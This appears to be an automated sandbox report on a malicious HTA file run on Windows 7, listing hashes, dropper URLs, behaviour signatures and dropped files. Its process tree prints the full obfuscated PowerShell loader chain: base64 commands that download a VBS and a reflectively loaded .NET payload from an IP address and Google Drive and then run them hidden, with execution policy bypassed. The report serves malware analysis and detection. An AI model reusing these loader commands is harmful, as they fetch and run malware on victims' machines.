Analysis

  • max time kernel
    121s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    31-10-2024 20:41

General

  • Target

    seethebestthingswithgreatthingshrewithme.hta

  • Size

    205KB

  • MD5

    d50fd6f65b574b2c9ca393cbd44ecf11

  • SHA1

    1f2126c711c25c4104cf34d42316db0cf8b50d89

  • SHA256

    d4ceed54c4c40a1ab8e3dc310e96ad94aa5bb7e65269cac051d974257fb44e90

  • SHA512

    c91cf64044091d7bef8c05e19e28b0c1403960d0944d96e4f68da241b36bfac1689aae6d07356721853a732ee919abe5d1686baf6625f58d5802110e390b20d8

  • SSDEEP

    96:43F97tMfPVMXbfrrFAQGFYIO7QpOMPMKtbMxQ:43F1tiV2VAQTt8NNcQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethebestthingswithgreatthingshrewithme.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Windows\SysWOW64\wiNDowsPowERsHEll\V1.0\PowErSHell.Exe
      "C:\Windows\sysTem32\wiNDowsPowERsHEll\V1.0\PowErSHell.Exe" "POWErSheLl.exe -eX BYPAsS -nOp -w 1 -C deVIcECREdEnTiaLDeplOyMENt.exE ; IEx($(IeX('[sYstEM.TEXT.ENCoDInG]'+[chAr]0x3A+[CHar]0x3a+'Utf8.gETSTriNG([SystEM.ConvERT]'+[chAr]58+[ChaR]58+'fROmBAsE64sTRiNg('+[CHar]34+'JHpiejRLVXlZczhPICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC10eXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJFckRFZmlOaXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGdnUFl2VVgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbVAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERSVixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPUEMpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ6enFhc29aYnUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE1PdEZ0dW1mTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemJ6NEtVeVlzOE86OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xMDcuMTc1LjEzMC4zNi8xMjAvcGljdHVyZXdpdGhncmVhdHRoaW5nc2dvb2RpZGVhcGxhbm5pbmdmb3IudElGIiwiJGVOdjpBUFBEQVRBXHBpY3R1cmV3aXRoZ3JlYXR0aGluZ3Nnb29kaWRlYXBsYW5uaW5nLnZicyIsMCwwKTtTVGFSVC1zTEVFcCgzKTtTVEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFccGljdHVyZXdpdGhncmVhdHRoaW5nc2dvb2RpZGVhcGxhbm5pbmcudmJzIg=='+[ChAr]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2536
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX BYPAsS -nOp -w 1 -C deVIcECREdEnTiaLDeplOyMENt.exE
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2776
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\otqfwxcj.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2996
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF059.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF058.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2920
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\picturewithgreatthingsgoodideaplanning.vbs"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1692
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoKGdFdC1WQVJJYUJsRSAnKk1EUionKS5uQW1FWzMsMTEsMl0tam9pTicnKSgoKCdZaHhpbWFnZVVybCA9IHNpRWh0dHBzOi8vZHJpdmUuZ29vZ2xlLmNvbS91Yz9leHBvcicrJ3Q9ZG93bmxvJysnYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHNpRTtZaHh3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1loeGltYWdlQnl0ZXMgPSBZaHh3ZWJDbGllbnQuRG93bmxvYWREYXRhKFloeGltYWdlVXJsKTtZaHhpbWFnZVRleHQgPSBbUycrJ3lzdGVtLlRleHQuRW5jb2RpJysnbicrJ2ddOjpVVEY4LkdldFN0cmluZyhZaHhpbWFnZUJ5dGVzKTtZaHhzdGFydEZsYWcgPSBzaUUnKyc8PEJBU0U2NF9TVEFSVD4+c2lFO1loeGVuZEZsYWcgPSBzaUU8PEJBU0U2NF9FTkQ+PnNpJysnRTtZaHhzdGFydEluZGV4ID0gWWh4aW1hZ2VUZXh0LkluZGV4T2YoWWh4c3RhcnRGbCcrJ2FnKTtZaHhlbmRJbmRleCcrJyA9IFloeGltYWdlVGUnKyd4dC5JbmRlJysneE9mKFloeGVuZEZsYScrJ2cpO1knKydoeHN0JysnYXJ0SW5kZXggLWdlIDAgLWFuZCBZaHhlbmRJbmRleCAtZ3QnKycgWWh4c3RhcnRJbmRleDtZaHhzdGFydEluZGV4ICs9IFloeHN0YXJ0RmxhZy5MZW5ndGg7WWh4YmFzZTY0TGVuZ3RoID0gWWgnKyd4ZW5kSW5kZXggLSBZaHhzdGFydEluZGV4JysnO1loeGJhc2U2NENvbW1hbmQgPSBZaHhpbWFnJysnZVRleHQuU3Vic3RyaW5nKFloeCcrJ3N0YXJ0SW5kZXgsIFloeGJhcycrJ2U2NExlbmd0aCk7WWh4YmEnKydzZTY0UmV2ZXJzZWQgPSAtam9pbiAoWWh4YicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIFFSeiBGJysnbycrJ3JFYWNoLU9iamVjdCB7IFloeF8gfSlbLTEuLi0oWWh4YmFzZTY0Q28nKydtbWFuZC5MZW5ndGgpXTtZaHhjb21tYW5kQnl0ZXMgPSBbJysnU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFloeGJhc2U2NFJldmVyc2VkKTtZaHhsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoWWh4Y29tbWFuZEJ5dGVzKTtZaHh2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2UnKyd0TWV0aG9kKHNpRVZBSXNpRSk7WWh4dmFpJysnTWV0aG9kLkludm9rZShZaHhudWxsLCBAKHMnKydpRXQnKyd4JysndC5ERk5OUkQvMDIxJysnLzYzLjAzMS41NzEuNzAxLy86cHR0aHNpRSwgc2lFJysnZGVzYXRpJysndmFkb3NpRSwgc2lFZGVzYXRpdmFkb3NpRSwgc2knKydFZGVzYXRpdmFkb3NpRSwgc2lFQ2FzUG9scycrJ2lFLCBzaUVkZXNhdGl2YWRvc2lFLCBzaUVkZXNhdGl2YWRvc2lFLHNpRWRlc2F0aXZhZG9zaUUsc2lFZGVzYXRpdmFkb3NpRSxzaUVkZXNhdGl2YWRvc2lFLHNpRWRlc2F0aXZhZG9zJysnaUUsc2lFZGVzYXRpdmFkb3NpRSxzaUUxc2lFLHNpRWRlc2F0aXZhZG9zaUUpKTsnKSAgLXJlUExhQ0UgIChbQ0hBUl0xMTUrW0NIQVJdMTA1K1tDSEFSXTY5KSxbQ0hBUl0zOSAgLWNyRXBMQWNlJ1loeCcsW0NIQVJdMzYgLWNyRXBMQWNlIChbQ0hBUl04MStbQ0hBUl04MitbQ0hBUl0xMjIpLFtDSEFSXTEyNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2976
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ((gEt-VARIaBlE '*MDR*').nAmE[3,11,2]-joiN'')((('YhximageUrl = siEhttps://drive.google.com/uc?expor'+'t=downlo'+'ad&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur siE;YhxwebClient = New-Object System.Net.WebClient;YhximageBytes = YhxwebClient.DownloadData(YhximageUrl);YhximageText = [S'+'ystem.Text.Encodi'+'n'+'g]::UTF8.GetString(YhximageBytes);YhxstartFlag = siE'+'<<BASE64_START>>siE;YhxendFlag = siE<<BASE64_END>>si'+'E;YhxstartIndex = YhximageText.IndexOf(YhxstartFl'+'ag);YhxendIndex'+' = YhximageTe'+'xt.Inde'+'xOf(YhxendFla'+'g);Y'+'hxst'+'artIndex -ge 0 -and YhxendIndex -gt'+' YhxstartIndex;YhxstartIndex += YhxstartFlag.Length;Yhxbase64Length = Yh'+'xendIndex - YhxstartIndex'+';Yhxbase64Command = Yhximag'+'eText.Substring(Yhx'+'startIndex, Yhxbas'+'e64Length);Yhxba'+'se64Reversed = -join (Yhxb'+'ase64Command.ToCharArray()'+' QRz F'+'o'+'rEach-Object { Yhx_ })[-1..-(Yhxbase64Co'+'mmand.Length)];YhxcommandBytes = ['+'System.Convert]::FromBase64String(Yhxbase64Reversed);YhxloadedAssembly = [System.Reflection.Assembly]::Load(YhxcommandBytes);YhxvaiMethod = [dnlib.IO.Home].Ge'+'tMethod(siEVAIsiE);Yhxvai'+'Method.Invoke(Yhxnull, @(s'+'iEt'+'x'+'t.DFNNRD/021'+'/63.031.571.701//:ptthsiE, siE'+'desati'+'vadosiE, siEdesativadosiE, si'+'EdesativadosiE, siECasPols'+'iE, siEdesativadosiE, siEdesativadosiE,siEdesativadosiE,siEdesativadosiE,siEdesativadosiE,siEdesativados'+'iE,siEdesativadosiE,siE1siE,siEdesativadosiE));') -rePLaCE ([CHAR]115+[CHAR]105+[CHAR]69),[CHAR]39 -crEpLAce'Yhx',[CHAR]36 -crEpLAce ([CHAR]81+[CHAR]82+[CHAR]122),[CHAR]124) )"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1980

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESF059.tmp

    Filesize

    1KB

    MD5

    93c081b43d3803a9682aecf64cf3fb2e

    SHA1

    455cfdd6be9e9f0d520f43b361be563f5c3437f4

    SHA256

    dc6807df217533eb77f3ca81a242d60b33ae025d09519691932248e8e41c62f9

    SHA512

    6ba6fe1328f6b6e354d2beb395ce9aa33185afb8363025d50fa44fc278e85866be98ec27f46760bb9b75a5cb49aa3d776f2acbfa6de80228b02dd80eb93a20e9

  • C:\Users\Admin\AppData\Local\Temp\otqfwxcj.dll

    Filesize

    3KB

    MD5

    0d3e6fddbfcc03711059b83c7d4413c6

    SHA1

    09de849e165a08f88d83e094badf30cc021dc459

    SHA256

    22b66f8a27652728e3e3c35ad16e0d852d4161c68400d5cc656731539c869194

    SHA512

    68475eba66cb72a2661752ec37d8e706bba516b6f56cc0213a29ae9367dd7a726d00ffdf1c8f85087bdcd70b773079e09d5151103915e66c993775584e3f828f

  • C:\Users\Admin\AppData\Local\Temp\otqfwxcj.pdb

    Filesize

    7KB

    MD5

    68cd5fe60de071091925faa2627bfe4c

    SHA1

    75c64d4e88ec4b8f51555b11693e9a92923be721

    SHA256

    834e069ed8f33cdad6ff2239e0b5a16c102d2a811d48fdef5df9c259138fa905

    SHA512

    49998cb1aa762688ee71247afca4feb1ab6636ecb0f0eb9d1478085f9e0a1144dd4267ca4eab486e5c44b1baa514e193f0e45ce45c44e752172410a4ced44e52

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    422f9d33876fb62672487de54166011b

    SHA1

    a4c3b84691a183493b3eeed991af8fe7ccdf9482

    SHA256

    178582538160598d63b9f71eef5b13cf6de5def8b403e84b7ae794a52e553622

    SHA512

    05868d6d72580528c3bf75477b628b479eb77e59050dce514aa1557b684b44af32b6858786a6a90531ff06113e91d46475e10220f916b7909b5e8ba0cfde1af1

  • C:\Users\Admin\AppData\Roaming\picturewithgreatthingsgoodideaplanning.vbs

    Filesize

    138KB

    MD5

    9bffefbc57020a8809b3782eb2a8f14c

    SHA1

    487d426d1e74b0ce7cf26b11c5a828d640b36f4b

    SHA256

    bb276fb4cfa1b0f9fbd68566672cef1f670e70691c387d6fe11d8176cb009995

    SHA512

    a93f4d082d9255b91be0d2e5449acb845a304f3b5fefc5644052e6018dd0cde4998f80932599ad7761b758870748c47b2bbe51bfa1c82c749fab01b0d118e075

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCF058.tmp

    Filesize

    652B

    MD5

    3ec48e9eb4f1a15e7d39d066966ebc0e

    SHA1

    bac3a3bf69e1dbcc072bcd271ddc618c42297784

    SHA256

    c18501c72713d9dfbf704ea7509b42ec59bac3609646d030c7d8bc8ecf70d124

    SHA512

    706ad35021316dc8e20f86b702320cb92c230f3a6ab0701871f7c724b0cbb36b42dc3cd64fba34d5ffe77e9f4bfa903e548bbf0e7d2f84a09be2858cab362b92

  • \??\c:\Users\Admin\AppData\Local\Temp\otqfwxcj.0.cs

    Filesize

    469B

    MD5

    f89c3daa6416168719346d97618dab89

    SHA1

    291029ed13418eefcd0902435ecac1b3caeb61f2

    SHA256

    0ae5932bfd2ff3ff3a4522cf176bc41a9062d1e981d01a73e9e8a72664423b0d

    SHA512

    9a8ebe03128f7fbc0c5adf8d76060d7f9b1a7d4319f0cdc0af64ca80e0eba34c6c91796d1f04f044b1c1a4ec5d30a9dcf57aa662ed138f9f3f983d915216cb55

  • \??\c:\Users\Admin\AppData\Local\Temp\otqfwxcj.cmdline

    Filesize

    309B

    MD5

    0bfdc5090a730c74eeb5b0495185c20a

    SHA1

    a0c2e226cf94a48958fb3f8ddb5bf1da99c54554

    SHA256

    aa0c9c9b3898745b73c50be1c0a11c9106c57f3a481af1fd142fba31ef133884

    SHA512

    75456bd6c2fa1d664392f1787cf1f821e265a3ee22db91b12eb1990c31857d017c249a67744f744f298e316a2011d9d35441ea2f1f38b2f44f8b57b027750bc5